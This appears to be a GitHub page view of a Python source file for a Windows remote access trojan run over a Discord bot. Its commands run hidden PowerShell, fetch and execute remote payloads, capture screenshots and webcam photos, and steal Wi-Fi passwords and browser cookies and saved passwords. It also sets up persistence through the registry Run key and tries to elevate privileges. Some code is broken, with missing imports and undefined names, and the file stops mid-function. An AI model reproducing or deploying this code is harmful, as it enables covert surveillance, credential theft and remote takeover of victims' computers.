-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathmain.py
1265 lines (1052 loc) · 51.1 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import asyncio
import base64
import ctypes
import datetime
import io
import json
import os
import platform
import random
import re
import shutil
import socket
import sqlite3
import subprocess
import sys
import threading
import time
import urllib.request
import winreg
from shutil import copy2
from getpass import getuser
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
import psutil
from discord import Embed
import cv2
import discord
import pyaudio
import pyautogui
import requests
from pynput.keyboard import Key, Listener
from PIL import ImageGrab
from os.path import expanduser
from datetime import timedelta
from os import getenv
from discord.ext import commands, tasks
from io import BytesIO
from discord import File
intents = discord.Intents().all()
bot = commands.Bot(command_prefix='!', intents=intents)
# Feature : PUBLIC IP ADDRESS FETCH
def get_public_ip():
try:
response = requests.get('https://api.ipify.org/?format=json')
data = response.json()
public_ip = data['ip']
return public_ip
except:
return 'N/A'
# Feature : CREATE CATEGORY & CHANNELS
@bot.event
async def on_ready():
print(f'Bot connected as {bot.user.name}')
guild = bot.guilds[0] # Assuming the bot is only in one guild/server
# Check if the category and channels already exist
category = discord.utils.get(guild.categories, name='═══ ・➣ 🐀 RAT PORTAL・')
if not category:
# Create the category
category = await guild.create_category('═══ ・➣ 🐀 RAT PORTAL・')
# Create the channels
channel_names = ['・📊│ᴅᴇᴠɪᴄᴇ-ʟᴏɢꜱ', '・⌨│ᴛᴇʀᴍɪɴᴀʟ', '・📱│ꜱᴄʀᴇᴇɴʟᴏɢꜱ', '・🔑│ᴋᴇʏʟᴏɢꜱ', '・🔔│ʀᴀᴛ-ʟᴏɢꜱ']
for name in channel_names:
await guild.create_text_channel(name, category=category)
# Get system information
system_name = socket.gethostname()
public_ip = get_public_ip()
system_ip = socket.gethostbyname(socket.gethostname())
# Find the channel for device logs
device_logs_channel = discord.utils.get(category.channels, name='・📊│ᴅᴇᴠɪᴄᴇ-ʟᴏɢꜱ')
if device_logs_channel:
embed = discord.Embed(title='🔵 System is Online', color=0xFF0000) # Embed Color: Red
embed.add_field(name='🖥️ System Name', value=f'```{system_name}```', inline=False) # Bold Text: System Name
embed.add_field(name='📢 Public IP Address', value=f'```{public_ip}```', inline=False) # Bold Text: Public IP Address
embed.add_field(name='🌐 System IP Address', value=f'```{system_ip}```', inline=False) # Bold Text: System IP Address
# Add Footer with bot, date, and time information
current_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
footer_text = f'RAT | Date: {current_time}'
embed.set_footer(text=footer_text)
await device_logs_channel.send(embed=embed)
# Dictionary containing command descriptions
command_descriptions = {
"!cam_list": "Displays a list of available webcams.",
"!camic [cam_id]": "Takes a shot with the default webcam or the specified webcam ID.",
"!clear <count>": "Clears the specified number of messages in the current chat.",
"!download <path>": "Downloads a file from the specified URL and saves it to the provided path.",
"!grab_cookies": "Grabs saved cookies from the default web browser.",
"!grab_distoken": "Grabs the Discord user token.",
"!grab_password": "Grabs saved passwords from the default web browser.",
"!grab_wifi": "Grabs saved WiFi passwords on the device.",
"!help": "Shows a message containing the list of commands and their descriptions.",
"!kill_process": "Terminates a specified process by name.",
"!list_process": "Lists all currently running processes.",
"!ping": "Checks if the bot is online and responsive.",
"!powershell <cmd>": "Executes the provided PowerShell command.",
"!bot_down": "Shuts down the bot.",
"!screenlogger <on/off>": "Enables or disables the functionality to send screenshots every 10 seconds.",
"!screenshot": "Takes a screenshot of the current screen.",
"!set_payload <url>": "Automatically executes and deletes a payload from the provided URL.",
"!sys_info": "Retrieves and displays system information.",
"!sys_log": "Retrieves and displays system logs.",
"!sys_restart": "Restarts the system.",
"!sys_shutdown": "Shuts down the system."
}
@bot.command(name='bot_help')
async def bot_help(ctx):
help_message = "**Available Commands:**\n\n"
for command, description in command_descriptions.items():
help_message += f"{command}: {description}\n\n"
# Send the message inside a code block
boxed_help_message = f"```md\n{help_message}```"
await ctx.send(boxed_help_message)
# Feature : REGISTRY INJECTION
def remove_startup_key():
try:
# Open the "Run" registry key
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_ALL_ACCESS)
# Delete the registry value
winreg.DeleteValue(key, "MyStartupKey")
# Close the registry key
winreg.CloseKey(key)
except FileNotFoundError:
pass
def add_to_startup():
# Open the "Run" registry key
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_ALL_ACCESS)
# Get the path to the current executable
executable_path = os.path.abspath(sys.executable)
# Create a new registry value with your desired name and executable path
winreg.SetValueEx(key, "MyStartupKey", 0, winreg.REG_SZ, executable_path)
# Close the registry key
winreg.CloseKey(key)
def run_as_admin():
# Get the script filename
script_filename = os.path.abspath(sys.argv[0])
# Get the required privileges elevation parameters
params = f'"{script_filename}"'
shell32 = ctypes.windll.shell32
shell32.ShellExecuteW(None, "runas", sys.executable, params, None, 1)
if __name__ == "__main__":
remove_startup_key() # Remove existing registry entry if present
try:
add_to_startup()
except PermissionError:
run_as_admin()
# Command : POWERSHELL
@bot.command()
async def powershell(ctx, *, command):
try:
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE # Hide the console window
output = subprocess.check_output(["powershell", command], startupinfo=startupinfo, universal_newlines=True)
if len(output) > 2000:
with open('output.txt', 'w', encoding='utf-8') as file:
file.write(output)
await ctx.send(file=discord.File('output.txt'))
os.remove('output.txt')
else:
await ctx.send(f'```{output}```')
except subprocess.CalledProcessError as e:
await ctx.send(f'Command execution failed with error code {e.returncode}')
# Command : SYSTEM LOG
@bot.command()
async def sys_log(ctx):
try:
fetching_time = 60 # Time in seconds to fetch system logs
backup_count = fetching_time
countdown_message = await ctx.send(f"```Fetching System Logs. This May Take a Few Seconds...\nFetching... {backup_count} seconds left```")
for count in range(backup_count - 1, 0, -1):
await asyncio.sleep(1)
backup_count = count
await countdown_message.edit(content=f"```Fetching System Logs. This May Take a Few Seconds...\nFetching... {backup_count} seconds left```")
await asyncio.sleep(1)
await countdown_message.edit(content=f"```Fetching System Logs. This May Take a Few Seconds...\nFetching... {backup_count - 1} seconds left```")
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
startupinfo.wShowWindow = subprocess.SW_HIDE # Hide the console window
output = subprocess.check_output(["powershell", "Get-WinEvent -LogName System | Select-Object -Property TimeCreated, Message"], startupinfo=startupinfo, universal_newlines=True)
with open('syslog.txt', 'w', encoding='utf-8') as file:
file.write(output)
await ctx.send("System logs retrieved : ``syslog.txt``")
await ctx.send(file=discord.File('syslog.txt'))
os.remove('syslog.txt')
except subprocess.CalledProcessError as e:
await ctx.send(f'Command execution failed with error code {e.returncode}')
# Function : SCREENLOGGER
screenlogger_enabled = False
# Function to send keylogs and screenshots to Discord channel as an embed message
async def send_logs_and_screenshot(ctx): # Add ctx as a parameter
global screenlogger_enabled
while screenlogger_enabled:
# Capture screenshot
screenshot = pyautogui.screenshot()
screenshot_bytes = BytesIO()
screenshot.save(screenshot_bytes, format='PNG')
screenshot_bytes.seek(0)
# Create the embed object
embed = discord.Embed(title='Screenshot', color=discord.Color.blue())
# Attach the screenshot to the embed
file = discord.File(screenshot_bytes, filename='screenshot.png')
embed.set_image(url='attachment://screenshot.png')
# Send the embed message to the specified channel
channel_name = '・📱│ꜱᴄʀᴇᴇɴʟᴏɢꜱ'
channel = discord.utils.get(ctx.guild.channels, name=channel_name)
if channel:
await channel.send(embed=embed, file=file)
# Schedule the next execution of the coroutine after 10 seconds
await asyncio.sleep(10)
# Command: SCREENLOGGER
@bot.command()
async def screenlogger(ctx, state):
global screenlogger_enabled
channel_name = '・📱│ꜱᴄʀᴇᴇɴʟᴏɢꜱ'
if state == 'on':
if not screenlogger_enabled:
screenlogger_enabled = True
asyncio.create_task(send_logs_and_screenshot(ctx)) # Pass ctx as an argument
await ctx.send('Screenlogger is now ``Enabled 🟢``')
else:
await ctx.send('Screenlogger is **Already** ``Enabled 🟢``')
elif state == 'off':
if screenlogger_enabled:
screenlogger_enabled = False
await ctx.send('Screenlogger is now ``Disabled ⚫``')
else:
await ctx.send('Screenlogger is **Already** ``Disabled ⚫``')
else:
await ctx.send('Invalid state. Please use `on` or `off`.')
# Command: SET PAYLOAD
@bot.command()
async def set_payload(ctx, url: str):
try:
parsed_url = urllib.parse.urlparse(url)
filename = os.path.basename(parsed_url.path)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
max_retry_attempts = 3
retry_delay = 2
for attempt in range(1, max_retry_attempts + 1):
try:
response = requests.get(url, verify=False)
response.raise_for_status()
content = response.content
break
except (requests.RequestException, IOError) as e:
await ctx.send(f'Error downloading the file: {str(e)}. Retrying in {retry_delay} seconds...')
time.sleep(retry_delay)
if attempt == max_retry_attempts:
await ctx.send('Maximum number of retry attempts reached. Unable to download the file.')
return
home_dir = os.path.expanduser("~")
downloads_folder = os.path.join(home_dir, "Downloads")
file_path = os.path.join(downloads_folder, filename)
with open(file_path, 'wb') as file:
file.write(content)
await ctx.send(f'File downloaded successfully to ``📁 {file_path}``')
command = f'start-process -FilePath "{file_path}"'
subprocess.run(['powershell.exe', '-Command', command], shell=True)
await ctx.send('File installed and executed.')
await asyncio.sleep(10)
os.remove(file_path)
await ctx.send('File deleted permanently.')
except Exception as e:
await ctx.send(f'Error: {str(e)}')
# Command: SCREENSHOT
@bot.command()
async def screenshot(ctx):
# Get the directory where the script is located
script_dir = os.path.dirname(os.path.abspath(__file__))
# Take a screenshot of the screen
screenshot = pyautogui.screenshot()
# Convert the screenshot to bytes
img_bytes = io.BytesIO()
screenshot.save(img_bytes, format='PNG')
img_bytes.seek(0)
# Construct the relative path to the app icon
app_icon_path = os.path.join(script_dir, 'Windows_Defender-Logo.wine.ico')
# Send the screenshot as an attachment in Discord
picture = discord.File(img_bytes, filename='spyshot.png')
await ctx.send(file=picture)
# Command : GRAB WIFI
@bot.command()
async def grab_wifi(ctx):
try:
result = subprocess.run(['netsh', 'wlan', 'show', 'profile'], capture_output=True, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
output = result.stdout
profiles = [line.split(":")[1].strip() for line in output.splitlines() if "All User Profile" in line]
wifi_passwords = []
for profile in profiles:
result = subprocess.run(['netsh', 'wlan', 'show', 'profile', profile, 'key=clear'], capture_output=True, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
profile_output = result.stdout
if "Key Content" in profile_output:
password_line = [line.split(":")[1].strip() for line in profile_output.splitlines() if "Key Content" in line]
wifi_passwords.append((profile, password_line[0]))
if wifi_passwords:
for wifi in wifi_passwords:
await ctx.send(f'``📶 Wi-Fi Network: {wifi[0]}, 🔑 Password: {wifi[1]}``')
else:
await ctx.send('No saved Wi-Fi passwords found.')
except Exception as e:
await ctx.send(f'Error occurred while retrieving Wi-Fi passwords: {str(e)}')
# Command : PING
@bot.command()
async def ping(ctx):
start_time = datetime.datetime.now()
message = await ctx.send('Calculating ping...')
end_time = datetime.datetime.now()
latency = round((end_time - start_time).total_seconds() * 1000)
if latency < 50:
response = f'Pong! Latency: {latency}ms \nLatency Status: :green_circle: Excellent'
elif latency < 100:
response = f'Pong! Latency: {latency}ms \nLatency Status: :yellow_circle: Moderate'
else:
response = f'Pong! Latency: {latency}ms \nLatency Status: :red_circle: Poor'
response = response.replace(":green_circle:", "🟢")
response = response.replace(":yellow_circle:", "🟡")
response = response.replace(":red_circle:", "🔴")
await message.edit(content=f'```\n{response}\n```')
if latency >= 50:
await asyncio.sleep(5)
await message.edit(content=f'```\nLatency increased to: {latency}ms\n```')
elif latency < 50:
await asyncio.sleep(5)
await message.edit(content=f'```\nLatency decreased to: {latency}ms\n```')
# Function : SYSTEM INFO
# Helper functions to extract specific information from systeminfo command output
def get_value_by_label(label, output):
label = label + ":"
lines = output.splitlines()
for line in lines:
if line.startswith(label):
return line.split(label)[1].strip()
return None
def get_os_version(output):
return get_value_by_label("OS Version", output)
def get_os_manufacturer(output):
return get_value_by_label("OS Manufacturer", output)
def get_os_configuration(output):
return get_value_by_label("OS Configuration", output)
def get_os_build_type(output):
return get_value_by_label("OS Build Type", output)
def get_registered_owner(output):
return get_value_by_label("Registered Owner", output)
def get_registered_organization(output):
return get_value_by_label("Registered Organization", output)
def get_product_id(output):
return get_value_by_label("Product ID", output)
def get_original_install_date(output):
return get_value_by_label("Original Install Date", output)
def get_system_boot_time(output):
return get_value_by_label("System Boot Time", output)
def get_system_manufacturer(output):
return get_value_by_label("System Manufacturer", output)
def get_system_model(output):
return get_value_by_label("System Model", output)
def get_system_type(output):
return get_value_by_label("System Type", output)
def get_processors(output):
return get_value_by_label("Processor(s)", output)
def get_bios_version(output):
return get_value_by_label("BIOS Version", output)
def get_windows_directory(output):
return get_value_by_label("Windows Directory", output)
def get_system_directory(output):
return get_value_by_label("System Directory", output)
def get_boot_device(output):
return get_value_by_label("Boot Device", output)
def get_system_locale(output):
return get_value_by_label("System Locale", output)
def get_input_locale(output):
return get_value_by_label("Input Locale", output)
def get_time_zone(output):
return get_value_by_label("Time Zone", output)
def get_available_physical_memory(output):
return get_value_by_label("Available Physical Memory", output)
def get_virtual_memory_max_size(output):
return get_value_by_label("Virtual Memory: Max Size", output)
def get_virtual_memory_available(output):
return get_value_by_label("Virtual Memory: Available", output)
def get_virtual_memory_in_use(output):
return get_value_by_label("Virtual Memory: In Use", output)
def get_page_file_locations(output):
return get_value_by_label("Page File Location(s)", output)
def get_domain(output):
return get_value_by_label("Domain", output)
def get_logon_server(output):
return get_value_by_label("Logon Server", output)
def get_hotfixes(output):
return get_value_by_label("Hotfix(s)", output)
def get_network_cards(output):
return get_value_by_label("Network Card(s)", output)
def get_hyperv_requirements(output):
return get_value_by_label("Hyper-V Requirements", output)
def get_battery_percentage(output):
return get_value_by_label("Battery Percentage", output)
# Command : SYSTEM INFO
@bot.command()
async def sys_info(ctx):
try:
os_info = subprocess.run(
'powershell.exe systeminfo',
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
creationflags=subprocess.CREATE_NO_WINDOW
).stdout
except FileNotFoundError:
await ctx.send("The 'systeminfo' command is not available on this system.")
return
os_version = get_os_version(os_info)
os_manufacturer = get_os_manufacturer(os_info)
os_configuration = get_os_configuration(os_info)
os_build_type = get_os_build_type(os_info)
registered_owner = get_registered_owner(os_info)
registered_organization = get_registered_organization(os_info)
product_id = get_product_id(os_info)
original_install_date = get_original_install_date(os_info)
system_boot_time = get_system_boot_time(os_info)
system_manufacturer = get_system_manufacturer(os_info)
system_model = get_system_model(os_info)
system_type = get_system_type(os_info)
processors = get_processors(os_info)
bios_version = get_bios_version(os_info)
windows_directory = get_windows_directory(os_info)
system_directory = get_system_directory(os_info)
boot_device = get_boot_device(os_info)
system_locale = get_system_locale(os_info)
input_locale = get_input_locale(os_info)
time_zone = get_time_zone(os_info)
available_physical_memory = get_available_physical_memory(os_info)
virtual_memory_max_size = get_virtual_memory_max_size(os_info)
virtual_memory_available = get_virtual_memory_available(os_info)
virtual_memory_in_use = get_virtual_memory_in_use(os_info)
page_file_locations = get_page_file_locations(os_info)
domain = get_domain(os_info)
logon_server = get_logon_server(os_info)
hotfixes = get_hotfixes(os_info)
network_cards = get_network_cards(os_info)
hyperv_requirements = get_hyperv_requirements(os_info)
battery_percentage = get_battery_percentage(os_info)
info_message = f"OS Version: {os_version}\n" \
f"OS Manufacturer: {os_manufacturer}\n" \
f"OS Configuration: {os_configuration}\n" \
f"OS Build Type: {os_build_type}\n" \
f"Registered Owner: {registered_owner}\n" \
f"Registered Organization: {registered_organization}\n" \
f"Product ID: {product_id}\n" \
f"Original Install Date: {original_install_date}\n" \
f"System Boot Time: {system_boot_time}\n" \
f"System Manufacturer: {system_manufacturer}\n" \
f"System Model: {system_model}\n" \
f"System Type: {system_type}\n" \
f"Processors: {processors}\n" \
f"BIOS Version: {bios_version}\n" \
f"Windows Directory: {windows_directory}\n" \
f"System Directory: {system_directory}\n" \
f"Boot Device: {boot_device}\n" \
f"System Locale: {system_locale}\n" \
f"Input Locale: {input_locale}\n" \
f"Time Zone: {time_zone}\n" \
f"Available Physical Memory: {available_physical_memory}\n" \
f"Virtual Memory: Max Size: {virtual_memory_max_size}\n" \
f"Virtual Memory: Available: {virtual_memory_available}\n" \
f"Virtual Memory: In Use: {virtual_memory_in_use}\n" \
f"Page File Location(s): {page_file_locations}\n" \
f"Domain: {domain}\n" \
f"Logon Server: {logon_server}\n" \
f"Hotfix(s): {hotfixes}\n" \
f"Network Card(s): {network_cards}\n" \
f"Hyper-V Requirements: {hyperv_requirements}\n" \
f"Battery Percentage: {battery_percentage}\n"
# Split the message into smaller parts if it exceeds the character limit
messages = []
while len(info_message) > 0:
messages.append(info_message[:2000])
info_message = info_message[2000:]
for message in messages:
code_block_message = f"```{message}```" # Send As A Box
await ctx.send(code_block_message)
# Command : DOWNLOAD
@bot.command()
async def download(ctx, source_path):
target_channel = ctx.message.channel # Use the current Discord channel as the target channel
try:
with open(source_path, 'rb') as file:
await target_channel.send(file=discord.File(file))
filename = os.path.basename(source_path)
await ctx.send(f"📁 ``{filename}`` Downloaded Successfully!")
except FileNotFoundError:
await ctx.send("Source file not found.")
# Command : CAM LIST
@bot.command()
async def cam_list(ctx):
# Get the list of available webcam devices
device_list = []
for i in range(10):
cap = cv2.VideoCapture(i)
if cap.isOpened():
_, _ = cap.read()
device_list.append(f"Webcam {i}")
cap.release()
else:
break
# Send the list of webcam devices to Discord
device_info = '\n'.join(device_list)
await ctx.send(f"Available webcam devices:\n{device_info}")
# Command : CAMIC
@bot.command()
async def camic(ctx, device_id=None):
# Check if a specific webcam device is provided
if device_id is not None:
try:
device_id = int(device_id)
except ValueError:
await ctx.send("Invalid device ID. Please provide a valid numeric ID.")
return
else:
device_id = 0 # Default to the first webcam device
# Capture photo from the specified webcam
cap = cv2.VideoCapture(device_id)
if not cap.isOpened():
await ctx.send("Failed to open the webcam device.")
return
ret, frame = cap.read()
# Convert the frame to bytes
_, buffer = cv2.imencode('.jpg', frame)
img_bytes = buffer.tobytes()
# Send the photo to Discord
picture = discord.File(io.BytesIO(img_bytes), filename='webcam_photo.jpg')
await ctx.send(file=picture)
# Release the webcam
cap.release()
def grab_cookies():
browser = Browsers()
browser.grab_cookies()
def create_temp(_dir: str or os.PathLike = None):
if _dir is None:
_dir = os.path.expanduser("~/tmp")
if not os.path.exists(_dir):
os.makedirs(_dir)
file_name = ''.join(random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(random.randint(10, 20)))
path = os.path.join(_dir, file_name)
open(path, "x").close()
return path
class Browsers:
def __init__(self):
self.appdata = os.getenv('LOCALAPPDATA')
self.roaming = os.getenv('APPDATA')
self.browser_exe = ["chrome.exe", "firefox.exe", "brave.exe", "opera.exe", "kometa.exe", "orbitum.exe", "centbrowser.exe",
"7star.exe", "sputnik.exe", "vivaldi.exe", "epicprivacybrowser.exe", "msedge.exe", "uran.exe", "yandex.exe", "iridium.exe"]
self.browsers_found = []
self.browsers = {
'kometa': self.appdata + '\\Kometa\\User Data',
'orbitum': self.appdata + '\\Orbitum\\User Data',
'cent-browser': self.appdata + '\\CentBrowser\\User Data',
'7star': self.appdata + '\\7Star\\7Star\\User Data',
'sputnik': self.appdata + '\\Sputnik\\Sputnik\\User Data',
'vivaldi': self.appdata + '\\Vivaldi\\User Data',
'google-chrome-sxs': self.appdata + '\\Google\\Chrome SxS\\User Data',
'google-chrome': self.appdata + '\\Google\\Chrome\\User Data',
'epic-privacy-browser': self.appdata + '\\Epic Privacy Browser\\User Data',
'microsoft-edge': self.appdata + '\\Microsoft\\Edge\\User Data',
'uran': self.appdata + '\\uCozMedia\\Uran\\User Data',
'yandex': self.appdata + '\\Yandex\\YandexBrowser\\User Data',
'brave': self.appdata + '\\BraveSoftware\\Brave-Browser\\User Data',
'iridium': self.appdata + '\\Iridium\\User Data',
'opera': self.roaming + '\\Opera Software\\Opera Stable',
'opera-gx': self.roaming + '\\Opera Software\\Opera GX Stable',
}
self.profiles = [
'Default',
'Profile 1',
'Profile 2',
'Profile 3',
'Profile 4',
'Profile 5',
]
for proc in psutil.process_iter(['name']):
process_name = proc.info['name'].lower()
if process_name in self.browser_exe:
self.browsers_found.append(proc)
for proc in self.browsers_found:
try:
proc.kill()
except Exception:
pass
time.sleep(3)
def grab_cookies(self):
for name, path in self.browsers.items():
if not os.path.isdir(path):
continue
self.masterkey = self.get_master_key(path + '\\Local State')
self.funcs = [
self.cookies
]
for profile in self.profiles:
for func in self.funcs:
self.process_browser(name, path, profile, func)
def process_browser(self, name, path, profile, func):
try:
func(name, path, profile)
except Exception as e:
print(f"Error occurred while processing browser '{name}' with profile '{profile}': {str(e)}")
def get_master_key(self, path: str) -> str:
try:
with open(path, "r", encoding="utf-8") as f:
c = f.read()
local_state = json.loads(c)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
except Exception as e:
print(f"Error occurred while retrieving master key: {str(e)}")
def decrypt_password(self, buff: bytes, master_key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
def cookies(self, name: str, path: str, profile: str):
if name == 'opera' or name == 'opera-gx':
path += '\\Network\\Cookies'
else:
path += '\\' + profile + '\\Network\\Cookies'
if not os.path.isfile(path):
return
cookievault = create_temp()
copy2(path, cookievault)
conn = sqlite3.connect(cookievault)
cursor = conn.cursor()
with open(os.path.join(f"C:\\Users\\{getuser()}\\cookies.txt"), 'a', encoding="utf-8") as f:
f.write(f"\nBrowser: {name} | Profile: {profile}\n\n")
for res in cursor.execute("SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies").fetchall():
host_key, name, path, encrypted_value, expires_utc = res
value = self.decrypt_password(encrypted_value, self.masterkey)
if host_key and name and value != "":
f.write(f"Host: {host_key}\t\nName: {name}\t\nValue: {value}\n\n")
cursor.close()
conn.close()
os.remove(cookievault)
time.sleep(3)
with open(f'C:\\Users\\{getuser()}\\ready.cookies', 'w'):
pass
# Command : LIST PROCESS
@bot.command()
async def list_process(ctx):
try:
process_list = psutil.process_iter()
processes = [p.name() for p in process_list]
if processes:
process_chunks = [processes[i:i + 20] for i in range(0, len(processes), 20)]
process_str = ""
for chunk in process_chunks:
process_str += '\n'.join(chunk) + '\n'
file = io.BytesIO(process_str.encode())
await ctx.send(file=File(file, filename='process_list.txt'))
else:
await ctx.send('No process found.')
except Exception as e:
await ctx.send(f'Error listing process: {str(e)}')
# Command : KILL PROCESS
@bot.command()
async def kill_process(ctx, name: str):
try:
if sys.platform == 'win32':
process = subprocess.run(['taskkill', '/F', '/IM', name], capture_output=True)
else:
process = subprocess.run(['killall', name], capture_output=True)
if process.returncode == 0:
await ctx.send(f'Process ``{name}`` killed.')
else:
error_output = process.stderr.decode().strip()
await ctx.send(f'Error killing process: {error_output}')
except Exception as e:
await ctx.send(f'Error killing process: {str(e)}')
def convert_date(ft):
utc = datetime.utcfromtimestamp(((10 * int(ft)) - file_name) / nanoseconds)
return utc.strftime('%Y-%m-%d %H:%M:%S')
def get_master_key():
try:
with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Microsoft\Edge\User Data\Local State', "r", encoding='utf-8') as f:
local_state = f.read()
local_state = json.loads(local_state)
except: exit()
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
return win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
def decrypt_payload(cipher, payload):
return cipher.decrypt(payload)
def generate_cipher(aes_key, iv):
return AES.new(aes_key, AES.MODE_GCM, iv)
def decrypt_password_edge(buff, master_key):
try:
iv = buff[3:15]
payload = buff[15:]
cipher = generate_cipher(master_key, iv)
decrypted_pass = decrypt_payload(cipher, payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception as e: return "Chrome < 80"
def get_passwords_edge():
master_key = get_master_key()
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Microsoft\Edge\User Data\Default\Login Data'
try: shutil.copy2(login_db, "Loginvault.db")
except: print("Edge browser not detected!")
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
try:
cursor.execute("SELECT action_url, username_value, password_value FROM logins")
result = {}
for r in cursor.fetchall():
url = r[0]
username = r[1]
encrypted_password = r[2]
decrypted_password = decrypt_password_edge(encrypted_password, master_key)
if username != "" or decrypted_password != "":
result[url] = [username, decrypted_password]
except: pass
cursor.close(); conn.close()
try: os.remove("Loginvault.db")
except Exception as e: print(e); pass
def get_chrome_datetime(chromedate):
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
def get_encryption_key():
try:
local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = f.read()
local_state = json.loads(local_state)
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
except:
time.sleep(1)
def decrypt_password_chrome(password, key):
try:
iv = password[3:15]
password = password[15:]
cipher = AES.new(key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return ""
def main():
key = get_encryption_key()
